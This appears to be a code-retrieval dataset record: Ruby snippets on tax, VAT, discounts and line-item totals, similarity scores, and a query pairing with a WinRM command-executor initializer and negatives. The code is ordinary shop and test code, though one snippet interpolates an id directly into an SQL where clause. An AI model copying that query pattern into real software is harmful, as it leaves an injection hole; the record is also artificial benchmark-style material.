"def calculate_vat_for amount, rate=nil\n amount * vat_for_current_context(rate)\n end",
"def vat_amount(percentage)\n percentage.to_f / 100.0 * order_line.line_total_net if order_line.valid?\n end",
"def vat\n amount_vat_included - amount_vat_excluded\n end",
"def discountable_item_total\n tot = 0\n self.line_items.each do |li|\n tot += li.total if li.product.taxons.any? {|t| t.name == \"Discountable\"}\n end\n self.item_total = tot\n end",
"def recalculate_totals\n # Line's total prices (qty * amount)\n single_untaxed_price_after_rebate = BigDecimal.new( (self.single_untaxed_price - self.single_rebate).to_s )\n self.gross_price = BigDecimal.new( (self.quantity * single_untaxed_price_after_rebate).to_s )\n self.gross_price = self.gross_price\n self.taxes = (self.gross_price / BigDecimal.new(\"100.0\")) * self.tax_percentage\n self.taxed_price = (BigDecimal.new( (self.gross_price + self.taxes).to_s )).rounded # Rounded like in document_line.rb\n\n # Line's single prices (for qty 1 * amount)\n single_taxes = ((single_untaxed_price_after_rebate / BigDecimal.new(\"100.0\")) * self.tax_percentage) # like in product.rb\n self.single_price = (single_untaxed_price_after_rebate + single_taxes).rounded # Like in document_line.rb\n\n end",
"def discounted_total\n line_item.total_in_cents - discount_amount\n end",
"def taxable_amount()\n (self.amount - vat_amount())\n end",
"def tax\n self.delivery_tax_amount +\n order_items.inject(BigDecimal(0)) { |t, i| t + i.tax_amount }\n end",
"def calc_tax_rate(item)\n tax_rate = 0\n tax_rate += @@import_duty if item.imported\n tax_rate += @@sales_tax unless (item.is_a? Book) || (item.is_a? Food) || (item.is_a? Medicine)\n \n return tax_rate\n end",
"def show\n @order = Order.find(params[:id])\n\n @net_total = 0\n @gross_total = 0\n\n @order.line_item.each do |line| \n @net_total += line.product.price\n end\n\n @gross_total = @net_total + @net_total * ::Rails.application.config.vat.to_d \n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => { :order => @order, :line_items => @order.line_item, :net => @net_total, :gross => @gross_total } }\n end\n end",
"def tax_total\n self.tax_amount = line_items.inject(::Money.new(0, self.currency || ::Money.default_currency.iso_code)) {|sum,line| sum + line.tax_amount}\n self.tax_amount\n end",
"def vat_amount\n line_total(true) - line_total(false)\n end",
"def recalculate\n line_items = LineItem.where(\"order_id = '#{order.attrs['id']}'\")\n sub_total = 0\n line_items.map do |li|\n sub_total += li.attrs['amount'].to_f * li.attrs['quantity'].to_i\n end\n order.attrs = order.attrs.merge('sub_total' => sub_total)\n if sub_total > DISCOUNTABLE_AMOUNT\n @order.attrs = order.attrs.merge('amount' => sub_total - DISCOUNT, 'discont_desc' => \"#{DISCOUNT} OFF For order more than #{DISCOUNTABLE_AMOUNT}\")\n else\n @order.attrs = order.attrs.merge('amount' => sub_total, 'discont_desc' => '')\n end\n\n @order.save\n\n end",
"def flat_rate_by_base_rate(line_items)\n price = self.base_price\n per_item = self.cost_per_item\n line_items.each do |line_item|\n price += per_item * line_item.quantity\n end\n price -= per_item # compensate for first item\n end",
"def line_total_gross\n zr = zero_rated?\n order_lines.inject(BigDecimal(\"0\")) do |sum, l|\n sum + l.line_total_net + (zr ? 0 : l.vat_amount)\n end\n end",
"def price_from_line_item(line_item)\n line_item.variant.price_for(price_list)\n end",
"def tax_calc\n tax = @quantity * @price * @taxe\n end",
"def tax\n order.delivery_tax_amount +\n order_items.inject(BigDecimal(0)) { |t, i| t + i.tax_amount }\n end",
"def product_price_inc_vat\n price_calculator.inc_vat\n end",
"def total_before_tax\n total = 0\n @cart_items.each do |item|\n total += item.price\n end\n return total\n end",
"def test_get_total_tax_cost\n expected_value = (@order.line_items_total) * (@order.tax/100)\n assert_equal expected_value, @order.tax_cost\n end",
"def calculate_taxes\n\t\ttax = 0\n\t\t\n\t\tif self.sku.contains_merch?\n\t\t\t# because paypal orders will not have billing addresses, just set \n\t\t\t# billing == to shipping if billing_address is nil\n\t\t\tself.billing_address ||= self.shipping_address \n\t\t\t\n\t\t\ttax = (self.sku.price * self.tax_rate * self.sku_quantity).round if self.billing_address.state == self.nexus\n\t\tend\n\t\t\n\t\tself.tax_amount = tax\n\t\t\n\tend",
"def paypal_variant_tax(sale_price, variant) \n 0.0\n end",
"def tax_amount\n self.quantity * single_item_tax\n end",
"def price_with_vat(q, inc_vat)\n if inc_vat\n price_inc_vat(q)\n else\n price_ex_vat(q)\n end\n end",
"def get_tax_rate(item)\n\t\ttax_rate = 0.0\n\t\ttax_rate = @goods_tax_rate unless item[:exempt]\n\t\ttax_rate = tax_rate + @imported_tax_rate if item[:import]\n\t\treturn tax_rate\n\tend",
"def total_min_cost_incl_discount_and_vat_cents\n total = self.total_min_cost_ex_discount_and_vat_cents\n # Apply discount\n total = total - self.calculate_discount_for(total)\n # Apply VAT\n total = total + self.calculate_tax_for(total)\n \n total.to_i\n end",
"def product_price_ex_vat\n price_calculator.ex_vat\n end",
"def total_amount\n line_items.reduce(Money.zero) { |a, e| a + e.total_amount_inc_tax }\n end",
"def calculate_price\n result = 0.0\n @items.each do |item|\n name = item.name\n price = item.price\n final_taxed_price = price # Begin with price and add tax as necessary\n tax = 0.0\n\n # Is the item subject to sales tax (ie. not exempt)?\n if !is_exempt(name)\n # Not exempt, apply sales tax\n tax += price * @@sales_tax\n else\n # Exempt, don't apply sales tax\n end\n\n # Is the item subject to import tax (ie. is it imported)?\n if is_imported(name)\n # Is imported, apply import sales tax\n tax += price * @@imported_goods_sales_tax\n else\n # Is not imported, don't apply import sales tax\n end\n\n final_taxed_price += round_point05(tax)\n\n puts final_taxed_price\n\n result += final_taxed_price # Add the final price to the running total\n end\n result\n end",
"def total\n total_price = 0.0\n cart.line_items.each do |line_item|\n if !line_item.unit_price.blank?\n total_price += line_item.unit_price.to_f\n if line_item.line_item_options\n line_item.line_item_options.each do |line_item_option|\n total_price += line_item_option.price.to_f\n end\n end\n elsif line_item.menu_section_item\n total_price += line_item.menu_section_item.price.to_f\n if line_item.menu_item_options\n line_item.menu_item_options.each do |menu_item_option|\n total_price += menu_item_option.price.to_f\n end\n end\n else\n total_price += 0\n end\n end\n tax = total_price.to_f * 0.0825\n total_price = total_price + tax\n if tip\n total_price = total_price.to_f + tip.to_f\n end\n return total_price\n end",
"def calculate_tax\n if self.vendor.net_prices\n # this is for the US tax system. At this point, total is still net.\n self.tax_amount = self.total * self.tax / 100.0\n # here, total becomes gross\n self.total += tax_amount\n else\n # this is for the Europe tax system. self.total is already gross, so we don't have to modify it here.\n self.tax_amount = self.total * ( 1 - 1 / ( 1 + self.tax / 100.0 ) )\n end\n end",
"def sum_of_tax_rates line_item\n line_item.adjustments.tax.\n joins(\"INNER JOIN spree_tax_rates ON spree_tax_rates.id = spree_adjustments.source_id\").\n where(spree_tax_rates: { included_in_price: true }).\n map(&:source).\n sum(&:amount)\n end",
"def test_check_tax_calculation_on_edited_invoice_with_discount_before_tax\r\n @debug = false\r\n expected_before = {\r\n :line_items_total => 15.54,\r\n :tax_1_amount => 1.09,\r\n :tax_2_amount => 0.93,\r\n :discount_amount => 0.31,\r\n :total => 17.25} \r\n \r\n # uncheck_both_taxes \r\n expected_after = {\r\n :line_items_total => 15.54,\r\n :tax_1_amount => 0.00,\r\n :tax_2_amount => 0.00,\r\n :discount_amount => 0.31,\r\n :total => 15.23} \r\n \r\n edit_standard_invoice_update_tax_and_verify(\r\n expected_before, \r\n expected_after\r\n ) {uncheck_both_taxes}\r\n \r\n # uncheck_tax_1\r\n expected_after = { \r\n :line_items_total => 15.54,\r\n :tax_1_amount => 0.00,\r\n :tax_2_amount => 0.93,\r\n :discount_amount => 0.31,\r\n :total => 16.16}\r\n \r\n edit_standard_invoice_update_tax_and_verify(\r\n expected_before, \r\n expected_after\r\n ) {uncheck_tax_1}\r\n \r\n # uncheck_tax_2\r\n expected_after = { \r\n :line_items_total => 15.54,\r\n :tax_1_amount => 1.09,\r\n :tax_2_amount => 0.00,\r\n :discount_amount => 0.31,\r\n :total => 16.32}\r\n \r\n edit_standard_invoice_update_tax_and_verify(\r\n expected_before, \r\n expected_after\r\n ) {uncheck_tax_2}\r\n \r\n # change tax rate 1\r\n expected_after = { \r\n :line_items_total => 15.54,\r\n :tax_1_amount => 1.55,\r\n :tax_2_amount => 0.93,\r\n :discount_amount => 0.31,\r\n :total => 17.71}\r\n \r\n edit_standard_invoice_update_tax_and_verify(\r\n expected_before, \r\n expected_after\r\n ) {change_tax_1_rate(10.00)}\r\n\r\n #change_tax_2_rate\r\n expected_after = { \r\n :line_items_total => 15.54,\r\n :tax_1_amount => 1.09,\r\n :tax_2_amount => 1.73,\r\n :discount_amount => 0.31,\r\n :total => 18.05}\r\n \r\n edit_standard_invoice_update_tax_and_verify(\r\n expected_before, \r\n expected_after\r\n ) {change_tax_2_rate(11.11)}\r\n\r\n #change_discount_amount\r\n expected_after = { \r\n :line_items_total => 15.54,\r\n :tax_1_amount => 1.09,\r\n :tax_2_amount => 0.93,\r\n :discount_amount => 5.55,\r\n :total => 12.01}\r\n \r\n edit_standard_invoice_update_tax_and_verify(\r\n expected_before, \r\n expected_after\r\n ) {change_discount_amount(5.55)}\r\n\r\n #change_discount_percent\r\n expected_after = { \r\n :line_items_total => 15.54,\r\n :tax_1_amount => 1.09,\r\n :tax_2_amount => 0.93,\r\n :discount_amount => 0.86,\r\n :total => 16.70}\r\n \r\n edit_standard_invoice_update_tax_and_verify(\r\n expected_before, \r\n expected_after\r\n ) {change_discount_percent(5.55)}\r\n\r\n #change_discount_amount_and_rates(5.55, 10.0, 11.11)\r\n expected_after = { \r\n :line_items_total => 15.54,\r\n :tax_1_amount => 1.55,\r\n :tax_2_amount => 1.73,\r\n :discount_amount => 5.55,\r\n :total => 13.27}\r\n \r\n edit_standard_invoice_update_tax_and_verify(\r\n expected_before, \r\n expected_after\r\n ) {change_discount_amount_and_rates(5.55, 10.0, 11.11)}\r\n\r\n #change_discount_percent_and_rates(5.55, 10.0, 11.11) \r\n expected_after = { \r\n :line_items_total => 15.54,\r\n :tax_1_amount => 1.55,\r\n :tax_2_amount => 1.73,\r\n :discount_amount => 0.86,\r\n :total => 17.96}\r\n \r\n edit_standard_invoice_update_tax_and_verify(\r\n expected_before, \r\n expected_after\r\n ) {change_discount_percent_and_rates(5.55, 10.0, 11.11)}\r\n\r\n\r\n b = @user.b\r\n\r\n #change_qty\r\n @user.edits_invoice(invoices(:discount_before_tax_invoice).id)\r\n \r\n verify_invoice_view_fields(\r\n :line_items_total => expected_before[:line_items_total],\r\n :tax_1_amount => expected_before[:tax_1_amount],\r\n :tax_2_amount => expected_before[:tax_2_amount],\r\n :discount_amount => expected_before[:discount_amount],\r\n :total => expected_before[:total]) \r\n \r\n #get newly added last row in the table and change quantity\r\n trows = @user.line_items_rows\r\n assert_equal 3, trows.length\r\n tr = trows[::WatirBrowser.item_index(trows.length)]\r\n assert tr.exists?\r\n @user.expects_ajax(1) do\r\n @user.populate(tr.text_field(:name, \"invoice[line_items_attributes][][quantity]\"), '4')\r\n #tr.text_field(:name, \"invoice[line_items_attributes][][quantity]\").set('4')\r\n end\r\n \r\n @user.wait \r\n \r\n verify_invoice_view_fields(\r\n :line_items_total => 18.87,\r\n :tax_1_amount => 1.32,\r\n :tax_2_amount => 1.13,\r\n :discount_amount => 0.38,\r\n :total => 20.94) \r\n \r\n #change_price\r\n @user.edits_invoice(invoices(:discount_before_tax_invoice).id)\r\n \r\n verify_invoice_view_fields(\r\n :line_items_total => expected_before[:line_items_total],\r\n :tax_1_amount => expected_before[:tax_1_amount],\r\n :tax_2_amount => expected_before[:tax_2_amount],\r\n :discount_amount => expected_before[:discount_amount],\r\n :total => expected_before[:total]) \r\n \r\n #get newly added last row in the table and change price\r\n trows = @user.line_items_rows\r\n assert_equal 3, trows.length\r\n tr = trows[::WatirBrowser.item_index(trows.length)]\r\n assert tr.exists?\r\n @user.expects_ajax(1) do\r\n @user.populate(tr.text_field(:name, \"invoice[line_items_attributes][][price]\"), '4.44')\r\n #tr.text_field(:name, \"invoice[line_items_attributes][][price]\").set('4.44')\r\n end\r\n \r\n verify_invoice_view_fields(\r\n :line_items_total => 18.87,\r\n :tax_1_amount => 1.32,\r\n :tax_2_amount => 1.13,\r\n :discount_amount => 0.38,\r\n :total => 20.94) \r\n \r\n end",
"def total_prices_te_by_taxes_rates\n order_items.reduce({}) do |total_prices, order_item|\n taxes_rate = order_item.product_taxes_rate.to_f\n\n total_prices[taxes_rate] ||= 0\n total_prices[taxes_rate] += order_item.product_price_te.to_f\n total_prices\n end\n end",
"def calculate(items)\n\n\t\titems.each do |item|\n\t\t\ttax_rate = get_tax_rate(item)\n\t\t\ttax = get_tax(item[:price], item[:quantity], tax_rate)\n\t\t\t@total_tax += tax\n\n\t\t\titem[:sales_price] = (item[:price] * item[:quantity] + tax).round(2)\n\t\t\t@total_price += item[:sales_price]\n\t\tend\n\n\t\treturn @total_tax, @total_price\n\tend",
"def calculate_total_for_tax(invoice, tax_rate)\n total_amount = total_tax_amount = 0\n\n components = invoice.\n all_items.\n flatten.\n select { |component| component.tax_rate == tax_rate }\n\n components.each do |component|\n total_amount += component.price\n total_tax_amount += component.calculate_tax\n end\n\n [total_amount, total_tax_amount]\n end",
"def original_price\n order.total_price_with_taxes\n end",
"def flow_line_item_price line_item, total=false\n result = unless flow_order\n Flow.format_default_price(line_item.price * (total ? line_item.quantity : 1))\n else\n id = line_item.variant.id.to_s\n\n lines = flow_order.lines || []\n item = lines.select{ |el| el['item_number'] == id }.first\n\n return Flow.price_not_found unless item\n\n total ? item['total']['label'] : item['price']['label']\n end\n\n # add line item promo\n # promo_total, adjustment_total\n result += ' (%s)' % Flow.format_default_price(line_item.promo_total) if line_item.promo_total > 0\n\n result\n end",
"def run(cart)\n # Each line_item has a quantity, which usually makes the total...\n # ...quantity of items higher than the length of cart.line_items\n total_item_count = 0\n applicable_line_items = cart.line_items.select do |line_item|\n is_shirt = line_item.variant.product.tags.include? 'shirts'\n is_bundle = line_item.variant.product.tags.include? 'bundle'\n if is_shirt and is_bundle\n total_item_count += line_item.quantity\n line_item\n end\n end\n\n # The remaining amount of items that can be discounted in each category\n items_in_bundles_of_3 = (total_item_count / 3).floor * 3\n items_in_bundles_of_2 = ((total_item_count % 3) / 2).floor * 2\n \n # Change the price of applicable items\n applicable_line_items.each do |line_item|\n unexamined_item_count = line_item.quantity\n if items_in_bundles_of_3 >= unexamined_item_count\n discount = unexamined_item_count * @discount_per_item_in_bundle_of_three\n line_item.change_line_price(line_item.line_price - discount, message: \"\")\n items_in_bundles_of_3 -= unexamined_item_count\n next\n end\n if items_in_bundles_of_3 > 0 and items_in_bundles_of_3 < unexamined_item_count\n discount = items_in_bundles_of_3 * @discount_per_item_in_bundle_of_three\n line_item.change_line_price(line_item.line_price - discount, message: \"\")\n unexamined_item_count -= items_in_bundles_of_3\n items_in_bundles_of_3 = 0\n end\n if items_in_bundles_of_2 >= unexamined_item_count\n discount = unexamined_item_count * @discount_per_item_in_bundle_of_two\n line_item.change_line_price(line_item.line_price - discount, message: \"\")\n items_in_bundles_of_2 -= unexamined_item_count\n end\n end\n end",
"def update_item\n order = current_user.init_cart.order\n line_item = order.line_items.find(params[:id])\n line_item.attributes = params[:item]\n image = line_item.image\n line_item.price = Product.find(line_item.product_id).price_for_tier(image.tier_id, image.owner?(current_user))\n line_item.tax = line_item.price * PER_TAX\n\n if line_item.save\n render json: line_item, status: :created\n else\n render json: { msg: line_item.errors.full_messages.to_sentence }, status: :bad_request\n end\n end",
"def price_adjustments\n adjustments = []\n\n line_items.each do |line_item|\n adjustments.concat (line_item.adjustments - line_item.adjustments.gift_packaging)\n end\n\n adjustments\n end",
"def price_with_vat\n price = read_attribute(:price_with_vat)\n if User.current and User.current.currency\n price.to_d * User.current.currency.exchange_rate.to_d\n else\n price.to_d\n end\n end",
"def total_with_tax\n total = 0\n @cart_items.each do |item|\n total += item.total_price\n end\n return total\n end",
"def compute_amount(line_item)\n raise \"Adjustable does not match line item\" unless line_item == inventory_unit.line_item\n -(line_item.total.to_d / line_item.inventory_units.not_canceled.reject(&:original_return_item ).size)\n end",
"def total_min_cost_incl_discount_and_vat_cents_in_report_currency\n total = self.total_min_cost_excl_discount_and_vat_cents_in_report_currency\n # Apply discount\n total = total - self.calculate_discount_for(total)\n # Apply VAT\n total = total + self.calculate_tax_for(total)\n \n total.to_i\n end",
"def calculate_invoice_total\n res = [ ]\n self.line_items.each do |item|\n res.push(item.qty * item.price)\n end\n # Return the sum of the items\n self.total = res.inject(:+) \n end",
"def revenue_general_tax_by_party party, invoiced=nil, document_id=nil\n tax = 0\n filter_invoiced(line_items, invoiced, document_id).each do |li|\n if !li.after_subtotal\n\n if li.billable_party == party\n tax += li.revenue_tax_unrounded\n end\n\n if li.payable_party == party\n tax -= li.expense_tax_unrounded\n end\n\n end\n end\n Money.new(tax*100)\n end",
"def total_tax\n total_cache(:total_tax) || sum_line_items(line_items, :tax_amount)\n end",
"def create_tax_charge!\n unless self.account.try(:is_tax_exempt?)\n Spree::TaxRate.adjust(self, line_items)\n Spree::TaxRate.adjust(self, shipments) if shipments.any?\n end\n end",
"def vat_amount(q = 1)\n price_inc_vat(q) - price_ex_vat(q)\n end",
"def cumulative_total_before_tax\n amount = 0.0\n @products_in_cart.each do |product|\n amount += product.price\n end#each\n return amount\nend",
"def price_inc_vat(q = 1)\n Taxer.new(price_at_quantity(q), tax_type).inc_vat\n end",
"def test_credit_note_sub_total_calculation2\n credit_note = create_test_credit_note\n line_item = credit_note.line_items.first\n\n # Make sure that everything adds up to begin with.\n expected_total_tax = credit_note.line_items.inject(BigDecimal('0')) { | sum, l | l.tax_amount }\n assert_equal(expected_total_tax, credit_note.total_tax)\n\n # Change the tax_amount of the first line item and make sure that\n # everything still continues to add up.\n line_item.tax_amount = line_item.tax_amount + 10\n assert_not_equal(expected_total_tax, credit_note.total_tax)\n expected_total_tax = credit_note.line_items.inject(BigDecimal('0')) { | sum, l | l.tax_amount }\n assert_equal(expected_total_tax, credit_note.total_tax)\n end",
"def apply(taxes)\n @order.line_items.each do |item|\n taxed_items = taxes.line_item_taxes.select { |i| i.item_id == item.id }\n update_adjustments(item, taxed_items)\n end\n\n @order.shipments.each do |item|\n taxed_items = taxes.shipment_taxes.select { |i| i.item_id == item.id }\n update_adjustments(item, taxed_items)\n end\n end",
"def test_should_update_new_invoice_total_when_line_item_is_deleted\r\n update_profile_taxes(\r\n :tax_enabled => true,\r\n :tax_1_name => \"tax 1 name\",\r\n :tax_1_rate => \"5.0\",\r\n :tax_2_name => \"\",\r\n :discount_before_tax => false)\r\n \r\n @user.creates_new_invoice\r\n # the first line is created automatically, no need to click add line \r\n @user.edits_line_item(1,:unit => 'line one', :quantity => '1', :price => '1.23')\r\n @user.adds_line_item(:unit => 'line two', :quantity => '1', :price => '4.56')\r\n \r\n verify_invoice_view_fields(\r\n :line_items_total => 5.79,\r\n :tax_1_amount => 0.29,\r\n :discount_amount => 0,\r\n :total => 6.08)\r\n \r\n @user.removes_line_item(1)\r\n\r\n verify_invoice_view_fields(\r\n :line_items_total => 4.56,\r\n :tax_1_amount => 0.23,\r\n :discount_amount => 0,\r\n :total => 4.79)\r\n end",
"def checkout\n line_items = LineItem.all\n\n @order = Order.create(user_id: current_user.id, subtotal: 0)\n\n line_items.each do |l_item|\n l_item.product.update(quantity: (l_item.product.quantity - l_item.quantity))\n @order.order_items[l_item.product_id] = l_item.quantity\n @order.subtotal += l_item.line_item_total\n end\n @order.save\n\n @order.update(sales_tax: (@order.subtotal * 0.08))\n @order.update(grand_total: (@order.sales_tax + @order.subtotal))\n\n line_items.destroy_all\n end",
"def apply(line_item)\n # Calculate the total discount for this line item\n line_discount = @amount * line_item.quantity\n\n # Calculated the discounted line price\n new_line_price = line_item.line_price - line_discount\n\n # Apply the new line price to this line item with a given message\n # describing the discount, which may be displayed in cart pages and\n # confirmation emails to describe the applied discount.\n line_item.change_line_price(new_line_price, message: @message)\n\n # Print a debugging line to the console\n puts \"Discounted line item with variant #{line_item.variant.id} by #{line_discount}.\"\n end",
"def calculate_points(item)\n if @customers.include?(item[\"customer\"])\n time_of_order = DateTime.parse(item[\"timestamp\"])\n customer = @customers[item[\"customer\"]]\n customer[:total_amount]= customer[:total_amount] + item[\"amount\"]\n\n # Reward points calculation based on the schedule\n if (time_of_order.hour >= 12 && time_of_order.hour < 13)\n temp_points = (item[\"amount\"]/3).ceil\n elsif (time_of_order.hour >= 11 && time_of_order.hour < 12) || (time_of_order.hour >= 13 && time_of_order.hour < 14)\n temp_points = (item[\"amount\"]/2).ceil\n elsif (time_of_order.hour >= 10 && time_of_order.hour < 11) || (time_of_order.hour >= 14 && time_of_order.hour < 15)\n temp_points = (item[\"amount\"]).ceil\n else\n temp_points = (item[\"amount\"]*0.25).ceil\n end\n if (temp_points >= 3 && temp_points < 21)\n customer[:orders] = customer[:orders] + 1\n customer[:points] = customer[:points] + temp_points\n end\n \n customer[:average_points] = (customer[:points]/customer[:orders])\n else\n add_customer(item)\n end\n end",
"def total_discounted_price\n # convert to array so it doesn't try to do sum on database directly\n line_items.to_a.sum(&:total_discounted_price)\n end",
"def test_check_tax_calculation_on_new_invoice_with_discount_before_tax\r\n @debug = false\r\n update_profile_taxes(\r\n :tax_enabled => true,\r\n :tax_1_rate => 7.0,\r\n :tax_2_rate => 6.0,\r\n :discount_before_tax => true)\r\n\r\n expected_before = {\r\n :line_items_total => 15.54,\r\n :tax_1_amount => 1.09,\r\n :tax_2_amount => 0.93,\r\n :discount_amount => 0.31,\r\n :total => 17.25} \r\n \r\n # uncheck_both_taxes \r\n expected_after = {\r\n :line_items_total => 15.54,\r\n :tax_1_amount => 0.00,\r\n :tax_2_amount => 0.00,\r\n :discount_amount => 0.31,\r\n :total => 15.23} \r\n \r\n \r\n add_standard_invoice_update_tax_and_verify(\r\n expected_before, \r\n expected_after\r\n ) {uncheck_both_taxes}\r\n \r\n # uncheck_tax_1\r\n expected_after = { \r\n :line_items_total => 15.54,\r\n :tax_1_amount => 0.00,\r\n :tax_2_amount => 0.93,\r\n :discount_amount => 0.31,\r\n :total => 16.16}\r\n \r\n add_standard_invoice_update_tax_and_verify(\r\n expected_before, \r\n expected_after\r\n ) {uncheck_tax_1}\r\n \r\n # uncheck_tax_2\r\n expected_after = { \r\n :line_items_total => 15.54,\r\n :tax_1_amount => 1.09,\r\n :tax_2_amount => 0.00,\r\n :discount_amount => 0.31,\r\n :total => 16.32}\r\n \r\n add_standard_invoice_update_tax_and_verify(\r\n expected_before, \r\n expected_after\r\n ) {uncheck_tax_2}\r\n \r\n # change tax rate 1\r\n expected_after = { \r\n :line_items_total => 15.54,\r\n :tax_1_amount => 1.55,\r\n :tax_2_amount => 0.93,\r\n :discount_amount => 0.31,\r\n :total => 17.71}\r\n \r\n add_standard_invoice_update_tax_and_verify(\r\n expected_before, \r\n expected_after\r\n ) {change_tax_1_rate(10.00)}\r\n\r\n #change_tax_2_rate\r\n expected_after = { \r\n :line_items_total => 15.54,\r\n :tax_1_amount => 1.09,\r\n :tax_2_amount => 1.73,\r\n :discount_amount => 0.31,\r\n :total => 18.05}\r\n \r\n add_standard_invoice_update_tax_and_verify(\r\n expected_before, \r\n expected_after\r\n ) {change_tax_2_rate(11.11)}\r\n\r\n #change_discount_amount\r\n expected_after = { \r\n :line_items_total => 15.54,\r\n :tax_1_amount => 1.09,\r\n :tax_2_amount => 0.93,\r\n :discount_amount => 5.55,\r\n :total => 12.01}\r\n \r\n add_standard_invoice_update_tax_and_verify(\r\n expected_before, \r\n expected_after\r\n ) {change_discount_amount(5.55)}\r\n\r\n #change_discount_percent\r\n expected_after = { \r\n :line_items_total => 15.54,\r\n :tax_1_amount => 1.09,\r\n :tax_2_amount => 0.93,\r\n :discount_amount => 0.86,\r\n :total => 16.70}\r\n \r\n add_standard_invoice_update_tax_and_verify(\r\n expected_before, \r\n expected_after\r\n ) {change_discount_percent(5.55)}\r\n\r\n #change_discount_amount_and_rates(5.55, 10.0, 11.11)\r\n expected_after = { \r\n :line_items_total => 15.54,\r\n :tax_1_amount => 1.55,\r\n :tax_2_amount => 1.73,\r\n :discount_amount => 5.55,\r\n :total => 13.27}\r\n \r\n add_standard_invoice_update_tax_and_verify(\r\n expected_before, \r\n expected_after\r\n ) {change_discount_amount_and_rates(5.55, 10.0, 11.11)}\r\n\r\n #change_discount_percent_and_rates(5.55, 10.0, 11.11) \r\n expected_after = { \r\n :line_items_total => 15.54,\r\n :tax_1_amount => 1.55,\r\n :tax_2_amount => 1.73,\r\n :discount_amount => 0.86,\r\n :total => 17.96}\r\n \r\n add_standard_invoice_update_tax_and_verify(\r\n expected_before, \r\n expected_after\r\n ) {change_discount_percent_and_rates(5.55, 10.0, 11.11)}\r\n\r\n\r\n b = @user.b\r\n\r\n #change_qty\r\n add_standard_invoice\r\n \r\n verify_invoice_view_fields(\r\n :line_items_total => expected_before[:line_items_total],\r\n :tax_1_amount => expected_before[:tax_1_amount],\r\n :tax_2_amount => expected_before[:tax_2_amount],\r\n :discount_amount => expected_before[:discount_amount],\r\n :total => expected_before[:total]) \r\n \r\n #get newly added last row in the table and change quantity\r\n trows = @user.line_items_rows\r\n assert_equal 3, trows.length\r\n tr = trows[::WatirBrowser.item_index(trows.length)]\r\n assert tr.exists?\r\n @user.expects_ajax(1) do\r\n @user.populate(tr.text_field(:name, \"invoice[line_items_attributes][][quantity]\"), '4')\r\n #tr.text_field(:name, \"invoice[line_items_attributes][][quantity]\").set('4')\r\n end\r\n \r\n @user.wait\r\n \r\n verify_invoice_view_fields(\r\n :line_items_total => 18.87,\r\n :tax_1_amount => 1.32,\r\n :tax_2_amount => 1.13,\r\n :discount_amount => 0.38,\r\n :total => 20.94) \r\n \r\n #change_price\r\n add_standard_invoice\r\n \r\n verify_invoice_view_fields(\r\n :line_items_total => expected_before[:line_items_total],\r\n :tax_1_amount => expected_before[:tax_1_amount],\r\n :tax_2_amount => expected_before[:tax_2_amount],\r\n :discount_amount => expected_before[:discount_amount],\r\n :total => expected_before[:total]) \r\n \r\n #get newly added last row in the table and change price\r\n trows = @user.line_items_rows\r\n assert_equal 3, trows.length\r\n tr = trows[::WatirBrowser.item_index(trows.length)]\r\n assert tr.exists?\r\n @user.expects_ajax(1) do\r\n @user.populate(tr.text_field(:name, \"invoice[line_items_attributes][][price]\"), '4.44')\r\n #tr.text_field(:name, \"invoice[line_items_attributes][][price]\").set('4.44')\r\n end\r\n \r\n @user.wait \r\n \r\n verify_invoice_view_fields(\r\n :line_items_total => 18.87,\r\n :tax_1_amount => 1.32,\r\n :tax_2_amount => 1.13,\r\n :discount_amount => 0.38,\r\n :total => 20.94) \r\n end"
] |
[
"0.743872",
"0.71842974",
"0.6856751",
"0.67182183",
"0.67161757",
"0.6616587",
"0.6578488",
"0.6574881",
"0.65331477",
"0.6513317",
"0.64921665",
"0.6480711",
"0.6458064",
"0.6418855",
"0.63976496",
"0.6386684",
"0.63805616",
"0.63747054",
"0.6369321",
"0.6357562",
"0.6346869",
"0.63202214",
"0.63090134",
"0.62831235",
"0.6276569",
"0.6266846",
"0.62504643",
"0.6243532",
"0.6241749",
"0.6216097",
"0.6193595",
"0.6184304",
"0.61760926",
"0.6169461",
"0.61374915",
"0.61328536",
"0.612083",
"0.61139077",
"0.61133844",
"0.61130124",
"0.6101488",
"0.6101383",
"0.6101111",
"0.6085235",
"0.6076808",
"0.6068331",
"0.6060926",
"0.60551727",
"0.6052968",
"0.6051528",
"0.6042919",
"0.6040921",
"0.6021569",
"0.6017685",
"0.6016877",
"0.6012022",
"0.59978336",
"0.59974855",
"0.59706455",
"0.5965799",
"0.5963464",
"0.59548044",
"0.5934602",
"0.59253776",
"0.59140694",
"0.58966553",
"0.58869994",
"0.58830464",
"0.5879903",
"0.58776826",
"0.58752716",
"0.5873917",
"0.5854246",
"0.5828595",
"0.5827705",
"0.58114856",
"0.58110064",
"0.57979745",
"0.5790053",
"0.5775352",
"0.5771497",
"0.57639766",
"0.57602817",
"0.5757913",
"0.5748934",
"0.57427233",
"0.5741126",
"0.57347363",
"0.5728718",
"0.57232714",
"0.57219243",
"0.57112634",
"0.57029134",
"0.5694223",
"0.56864536",
"0.5682858",
"0.5671497",
"0.56695396",
"0.56638503",
"0.56529146"
] |
0.6339696
|
21
|
Creates a CommandExecutor given a `WinRM::WinRMWebService` object.
|
def initialize(service, logger = nil)
@service = service
@logger = logger
@command_count = 0
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def executor\n @executor ||= create_executor\n end",
"def executor\n @executor ||= create_executor\n end",
"def executor(executor)\n @cli_executor.executor = executor\n end",
"def set_remote_execution_service(username = nil, password = nil)\n @user_name = username\n @password = password\n @service = Service::REMOTE_EXECUTION\n end",
"def shell_executor\n @cli_executor.shell_executor\n end",
"def ensure_cli_executor\n if @cli_executor.nil?\n wrapper = PuppetX::Coi::Jboss::Internal::ExecutionStateWrapper.new(\n DEFAULT_SHELL_EXECUTOR\n )\n @cli_executor = PuppetX::Coi::Jboss::Internal::CliExecutor.new(\n wrapper, @execlogic\n )\n end\n @cli_executor\n end",
"def shell_executor\n @executor.shell_executor\n end",
"def prepare_command(command, executor)\n executor.init_command command\n command.action do |args, options|\n executor.execute(args, options)\n end\n end",
